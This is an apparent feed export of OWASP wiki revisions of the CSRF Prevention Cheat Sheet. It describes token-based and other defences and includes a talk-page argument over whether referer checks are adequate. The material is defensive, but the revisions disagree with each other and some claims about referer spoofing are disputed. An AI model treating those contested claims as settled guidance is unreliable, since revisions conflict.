Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking The Referer Header =&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
= Checking The Origin Header =&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks can be used to defeat token, referer and origin based CSRF defenses,  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]whitehatsec.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134756</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134756"/>
				<updated>2012-08-24T22:42:01Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Don't post theoretical attacks,  or &amp;quot;here say&amp;quot; on any OWASP page. ==&lt;br /&gt;
&lt;br /&gt;
Look people.  A referer check is a valid form of protection and is currently being used to stop the most dangerous CSRF vulnerability ever discovered (according to the DHS: http://www.kb.cert.org/vuls/id/643049).  If you think it be exploited,  PROVE IT.   Stop spreading clearly false information on OWASP. &lt;br /&gt;
&lt;br /&gt;
Write an exploit and show me that it works.  Then you can change the owasp wiki.&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134755</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134755"/>
				<updated>2012-08-24T22:41:14Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: /* Don't post theoretical attacks,  or &amp;quot;here say&amp;quot; on any OWASP page. */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Checking Referer Header is used to patch the most dangerous CSRF vulnerability ever discovered (which was by me http://www.kb.cert.org/vuls/id/643049 Michael Brooks).   This article is incorrect and I am chaining it.  If you have a problem then you should contact me,  but as it stands I cannot allow this page to spread false information.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
That is not the most dangerous CSRF vuln ever discovered! You are either really full of yourself, or you know very little about CSRF. I have found CSRF bugs that could have trivially been exploited for millions of dollars of theft, and those aren't the worst ones out there. I'm going to update the Referer Header section to be more accurate and include GET-based CSRF attacks (such as open redirection, probably from the login page) that referer checking usually doesn't cover either (which is one of it's biggest flaws).&lt;br /&gt;
&lt;br /&gt;
== Don't post theoretical attacks,  or &amp;quot;here say&amp;quot; on any OWASP page. ==&lt;br /&gt;
&lt;br /&gt;
Look people.  A referer check is a valid form of protection and is currently being used to stop the most dangerous CSRF vulnerability ever discovered (according to the DHS: http://www.kb.cert.org/vuls/id/643049).  If you think it be exploited,  PROVE IT.   Stop spreading clearly false information on OWASP. &lt;br /&gt;
&lt;br /&gt;
Write an exploit and show me that it works.  Then you can change the owasp wiki.&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134754</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134754"/>
				<updated>2012-08-24T22:37:12Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking The Referer Header =&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]whitehatsec.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134753</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=134753"/>
				<updated>2012-08-24T22:35:42Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: Wow,  the &amp;quot;Checking The Referer Header&amp;quot; was flat out incorrect and totally missleading.  The Mozilla Security team would be upset if they read that garbage.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
